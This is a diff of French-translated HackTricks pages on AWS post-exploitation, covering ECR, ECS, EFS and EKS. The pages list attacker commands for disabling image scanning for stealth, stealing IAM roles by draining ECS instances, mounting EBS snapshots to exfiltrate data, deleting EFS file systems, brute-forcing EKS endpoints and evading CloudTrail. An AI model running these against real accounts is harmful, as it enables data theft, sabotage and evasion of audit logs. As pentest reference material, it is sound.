printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
|
||||
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
|
||||
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
|
||||
|
||||
# Verify no scan ran automatically
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Optionnel : dégrader davantage au niveau du dépôt
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--repository-name "$repo" \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Impact
|
||||
- Les nouveaux pushs d'images dans l'ensemble du registre ne sont pas scannés automatiquement, réduisant la visibilité du contenu vulnérable ou malveillant et retardant la détection jusqu'à ce qu'un scan manuel soit lancé.
|
||||
|
||||
|
||||
### Rétrogradation du moteur de scan à l'échelle du registre via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Réduisez la qualité de détection des vulnérabilités sur l'ensemble du registre en changeant le moteur de scan BASIC du moteur par défaut AWS_NATIVE vers le moteur hérité CLAIR. Cela n'empêche pas les scans, mais peut modifier de manière significative les résultats/couverture. Combinez avec une configuration de scan de registre BASIC sans règles pour rendre les scans uniquement manuels.
|
||||
|
||||
Requirements
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impact
|
||||
- Le paramètre du registre `BASIC_SCAN_TYPE_VERSION` est défini sur `CLAIR`, de sorte que les scans BASIC suivants s'exécutent avec le moteur dégradé. CloudTrail enregistre l'appel API `PutAccountSetting`.
|
||||
|
||||
Steps
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Read current value so you can restore it later
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
|
||||
|
||||
# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
|
||||
|
||||
# 3) Verify the setting
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
|
||||
|
||||
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
|
||||
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
|
||||
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
@@ -1,57 +0,0 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Rôles IAM de l'hôte
|
||||
|
||||
Dans ECS, un **rôle IAM peut être attribué à la tâche** s'exécutant à l'intérieur du conteneur. **Si** la tâche est exécutée à l'intérieur d'une **instance EC2**, l'**instance EC2** aura **un autre rôle IAM** qui lui est attaché.\
|
||||
Ce qui signifie que si vous parvenez à **compromettre** une instance ECS, vous pouvez potentiellement **obtenir le rôle IAM associé à l'ECR et à l'instance EC2**. Pour plus d'informations sur la façon d'obtenir ces identifiants, consultez :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Notez que si l'instance EC2 applique IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès aux métadonnées EC2 depuis un conteneur à l'intérieur de l'instance EC2.
|
||||
|
||||
### Privesc vers le nœud pour voler les identifiants et secrets d'autres conteneurs
|
||||
|
||||
De plus, EC2 utilise Docker pour exécuter les tâches ECs, donc si vous pouvez échapper au nœud ou **accéder au socket Docker**, vous pouvez **vérifier** quels **autres conteneurs** sont en cours d'exécution, et même **y entrer** et **voler leurs rôles IAM** attachés.
|
||||
|
||||
#### Faire fonctionner des conteneurs sur l'hôte actuel
|
||||
|
||||
En outre, le **rôle de l'instance EC2** aura généralement suffisamment de **permissions** pour **mettre à jour l'état de l'instance de conteneur** des instances EC2 utilisées comme nœuds à l'intérieur du cluster. Un attaquant pourrait modifier l'**état d'une instance en DRAINING**, puis ECS **supprimera toutes les tâches de celle-ci** et celles exécutées en tant que **REPLICA** seront **exécutées dans une autre instance,** potentiellement à l'intérieur de **l'instance de l'attaquant** afin qu'il puisse **voler leurs rôles IAM** et des informations sensibles potentielles à l'intérieur du conteneur.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
La même technique peut être réalisée en **désenregistrant l'instance EC2 du cluster**. Cela est potentiellement moins furtif mais cela **forcera les tâches à être exécutées sur d'autres instances :**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Une technique finale pour forcer la réexécution des tâches consiste à indiquer à ECS que le **tâche ou le conteneur a été arrêté**. Il existe 3 API potentielles pour cela :
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Voler des informations sensibles des conteneurs ECR
|
||||
|
||||
L'instance EC2 aura probablement également la permission `ecr:GetAuthorizationToken` lui permettant de **télécharger des images** (vous pourriez rechercher des informations sensibles dans celles-ci).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,124 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
Dans ECS, un **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Notez que si l'instance **EC2** applique IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **response of the PUT request** aura un **hop limit of 1**, rendant impossible l'accès aux EC2 metadata depuis un container à l'intérieur de l'EC2 instance.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
La même technique peut être réalisée en **deregistering the EC2 instance from the cluster**. C'est potentiellement moins discret mais cela va **force the tasks to be run in other instances:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Une technique finale pour forcer la réexécution des tâches consiste à indiquer à ECS que la **tâche ou le conteneur a été arrêté(e)**. Il existe 3 API potentielles pour cela :
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Voler des informations sensibles depuis des conteneurs ECR
|
||||
|
||||
L'instance EC2 aura probablement également l'autorisation `ecr:GetAuthorizationToken`, lui permettant de **télécharger des images** (vous pouvez y rechercher des informations sensibles).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Monter un snapshot EBS directement dans une tâche ECS (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abusez l'intégration native ECS EBS (2024+) pour monter le contenu d'un snapshot EBS existant directement dans une nouvelle tâche/service ECS et lire ses données depuis l'intérieur du conteneur.
|
||||
|
||||
- Nécessite (minimum) :
|
||||
- ecs:RegisterTaskDefinition
|
||||
- Un des : ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole sur :
|
||||
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles référencés par la task definition
|
||||
- Si le snapshot est chiffré avec une CMK : permissions KMS pour le rôle infra (la AWS managed policy ci-dessus inclut les KMS grants requis pour les clés gérées par AWS).
|
||||
|
||||
- Impact : Lire des contenus arbitraires du disque depuis le snapshot (par ex. fichiers de base de données) à l'intérieur du conteneur et exfiltrer via le réseau/logs.
|
||||
|
||||
Steps (Fargate example) :
|
||||
|
||||
1) Créer le rôle d'infrastructure ECS (s'il n'existe pas) et attacher la managed policy :
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Enregistrer une task definition avec un volume marqué `configuredAtLaunch` et le monter dans le container. Exemple (affiche le secret puis reste en veille) :
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
|
||||
"containerDefinitions": [
|
||||
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"entryPoint":["/bin/sh","-c"],
|
||||
"command":["cat /loot/secret.txt || true; sleep 3600"],
|
||||
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
|
||||
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
|
||||
}
|
||||
],
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Créer ou mettre à jour un service en passant le snapshot EBS via `volumeConfigurations.managedEBSVolume` (requiert iam:PassRole sur le rôle infra). Exemple :
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
"serviceName": "ht-ebs-svc",
|
||||
"taskDefinition": "ht-ebs-read",
|
||||
"desiredCount": 1,
|
||||
"launchType": "FARGATE",
|
||||
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
|
||||
"volumeConfigurations": [
|
||||
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Lorsque la tâche démarre, le conteneur peut lire le contenu de l'instantané au point de montage configuré (p. ex., `/loot`). Exfiltrer via le réseau/les logs de la tâche.
|
||||
|
||||
Nettoyage:
|
||||
```bash
|
||||
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
@@ -1,46 +1,46 @@
|
||||
# AWS - EFS Post Exploitation
|
||||
# AWS - EFS Post-exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
Un attaquant pourrait supprimer un point de montage, perturbant potentiellement l'accès au système de fichiers EFS pour les applications et les utilisateurs s'appuyant sur ce point de montage.
|
||||
Un attaquant pourrait supprimer un mount target, perturbant potentiellement l'accès au système de fichiers EFS pour les applications et les utilisateurs qui dépendent de ce mount target.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
**Impact potentiel** : Interruption de l'accès au système de fichiers et perte de données potentielle pour les utilisateurs ou les applications.
|
||||
**Impact potentiel**: Perturbation de l'accès au système de fichiers et perte de données potentielle pour les utilisateurs ou les applications.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
Un attaquant pourrait supprimer un système de fichiers EFS entier, ce qui pourrait entraîner une perte de données et affecter les applications dépendant du système de fichiers.
|
||||
Un attaquant pourrait supprimer un système de fichiers EFS entier, ce qui pourrait entraîner une perte de données et affecter les applications qui dépendent de ce système de fichiers.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
**Impact potentiel** : Perte de données et interruption de service pour les applications utilisant le système de fichiers supprimé.
|
||||
**Impact potentiel**: Perte de données et interruption de service pour les applications utilisant le système de fichiers supprimé.
|
||||
|
||||
### `elasticfilesystem:UpdateFileSystem`
|
||||
|
||||
Un attaquant pourrait mettre à jour les propriétés du système de fichiers EFS, telles que le mode de débit, pour affecter ses performances ou provoquer une exhaustion des ressources.
|
||||
Un attaquant pourrait mettre à jour les propriétés du système de fichiers EFS, comme le throughput mode, pour affecter ses performances ou provoquer une saturation des ressources.
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
**Impact potentiel** : Dégradation des performances du système de fichiers ou épuisement des ressources.
|
||||
**Impact potentiel**: Dégradation des performances du système de fichiers ou épuisement des ressources.
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` et `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
Un attaquant pourrait créer ou supprimer des points d'accès, modifiant le contrôle d'accès et pouvant potentiellement s'accorder un accès non autorisé au système de fichiers.
|
||||
Un attaquant pourrait créer ou supprimer des points d'accès, modifier le contrôle d'accès et potentiellement s'accorder un accès non autorisé au système de fichiers.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
**Impact potentiel** : Accès non autorisé au système de fichiers, exposition ou modification des données.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,143 +0,0 @@
|
||||
# AWS - EKS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EKS
|
||||
|
||||
Pour plus d'informations, consultez
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Énumérer le cluster depuis la console AWS
|
||||
|
||||
Si vous avez la permission **`eks:AccessKubernetesApi`**, vous pouvez **voir les objets Kubernetes** via la console AWS EKS ([En savoir plus](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Se connecter au cluster Kubernetes AWS
|
||||
|
||||
- Facile :
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Pas si facile :
|
||||
|
||||
Si vous pouvez **obtenir un token** avec **`aws eks get-token --name <cluster_name>`** mais que vous n'avez pas les permissions pour obtenir les informations du cluster (describeCluster), vous pourriez **préparer votre propre `~/.kube/config`**. Cependant, avec le token, vous avez toujours besoin de l'**url endpoint pour vous connecter** (si vous avez réussi à obtenir un token JWT d'un pod lisez [ici](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) et du **nom du cluster**.
|
||||
|
||||
Dans mon cas, je n'ai pas trouvé l'info dans les logs CloudWatch, mais j'ai **trouvé dans les userData des LaunchTemplates** et dans les **machines EC2 dans userData aussi**. Vous pouvez voir cette info dans **userData** facilement, par exemple dans l'exemple suivant (le nom du cluster était cluster-name) :
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>kube config</summary>
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### D'AWS à Kubernetes
|
||||
|
||||
Le **créateur** du **cluster EKS** sera **TOUJOURS** capable d'accéder à la partie du cluster kubernetes du groupe **`system:masters`** (admin k8s). Au moment de la rédaction de ce document, il n'y a **aucun moyen direct** de savoir **qui a créé** le cluster (vous pouvez vérifier CloudTrail). Et il n'y a **aucun moyen** de **supprimer** ce **privilège**.
|
||||
|
||||
La façon de donner **accès à plus d'utilisateurs ou de rôles AWS IAM sur K8s** est d'utiliser le **configmap** **`aws-auth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Par conséquent, toute personne ayant un **accès en écriture** sur le config map **`aws-auth`** pourra **compromettre l'ensemble du cluster**.
|
||||
|
||||
Pour plus d'informations sur la façon de **donner des privilèges supplémentaires aux rôles et utilisateurs IAM** dans le **même ou un autre compte** et comment **abuser** de cela pour [**privesc, consultez cette page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Vérifiez aussi [**ce post génial**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **pour apprendre comment fonctionne l'authentification IAM -> Kubernetes**.
|
||||
|
||||
### De Kubernetes à AWS
|
||||
|
||||
Il est possible de permettre une **authentification OpenID pour le compte de service kubernetes** afin de leur permettre d'assumer des rôles dans AWS. Apprenez comment [**cela fonctionne sur cette page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### OBTENIR le point de terminaison de l'API Server à partir d'un jeton JWT
|
||||
|
||||
En décodant le jeton JWT, nous obtenons l'ID du cluster et aussi la région.  Sachant que le format standard pour l'URL EKS est
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Je n'ai trouvé aucune documentation qui explique les critères pour les 'deux caractères' et le 'nombre'. Mais en faisant quelques tests de mon côté, je vois que ceux-ci reviennent souvent :
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
Quoi qu'il en soit, ce ne sont que 3 caractères que nous pouvons brute-forcer. Utilisez le script ci-dessous pour générer la liste.
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
|
||||
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Ensuite avec wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> N'oubliez pas de remplacer & .
|
||||
|
||||
### Contournement de CloudTrail
|
||||
|
||||
Si un attaquant obtient des identifiants d'un AWS avec **permission sur un EKS**. Si l'attaquant configure son propre **`kubeconfig`** (sans appeler **`update-kubeconfig`**) comme expliqué précédemment, le **`get-token`** ne génère pas de journaux dans Cloudtrail car il n'interagit pas avec l'API AWS (il crée simplement le token localement).
|
||||
|
||||
Ainsi, lorsque l'attaquant communique avec le cluster EKS, **cloudtrail ne journalisera rien lié à l'utilisateur volé et y accédant**.
|
||||
|
||||
Notez que le **cluster EKS pourrait avoir des journaux activés** qui enregistreront cet accès (bien que, par défaut, ils soient désactivés).
|
||||
|
||||
### Rançon EKS ?
|
||||
|
||||
Par défaut, l'**utilisateur ou le rôle qui a créé** un cluster a **TOUJOURS des privilèges d'administrateur** sur le cluster. Et c'est le seul accès "sécurisé" qu'AWS aura sur le cluster Kubernetes.
|
||||
|
||||
Donc, si un **attaquant compromet un cluster en utilisant fargate** et **supprime tous les autres administrateurs** et **supprime l'utilisateur/rôle AWS qui a créé** le cluster, ~~l'attaquant pourrait avoir **rançonné le cluster**~~.
|
||||
|
||||
> [!TIP]
|
||||
> Notez que si le cluster utilisait des **VM EC2**, il pourrait être possible d'obtenir des privilèges d'administrateur depuis le **Node** et de récupérer le cluster.
|
||||
>
|
||||
> En fait, si le cluster utilise Fargate, vous pourriez EC2 nodes ou déplacer tout vers EC2 vers le cluster et le récupérer en accédant aux tokens dans le node.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,143 @@
|
||||
# AWS - EKS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EKS
|
||||
|
||||
Pour plus d'informations, consultez
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Énumérer le cluster depuis la console AWS
|
||||
|
||||
Si vous avez l'autorisation **`eks:AccessKubernetesApi`**, vous pouvez **voir les objets Kubernetes** via la console AWS EKS ([En savoir plus](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Se connecter au cluster Kubernetes AWS
|
||||
|
||||
- Méthode simple:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Pas si simple :
|
||||
|
||||
Si vous pouvez **get a token** avec **`aws eks get-token --name <cluster_name>`** mais que vous n'avez pas les permissions pour obtenir les infos du cluster (describeCluster), vous pouvez **préparer votre propre `~/.kube/config`**. Cependant, même avec le token, il vous faut encore l'**url endpoint pour vous connecter** (si vous avez réussi à obtenir un JWT token depuis un pod, lisez [ici](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) et le **nom du cluster**.
|
||||
|
||||
Dans mon cas, je n'ai pas trouvé l'info dans CloudWatch logs, mais je l'**ai trouvée dans LaunchTemaplates userData** et aussi dans les **EC2 machines in userData**. Vous pouvez voir cette info dans **userData** facilement, par exemple dans l'exemple suivant (le cluster name was cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
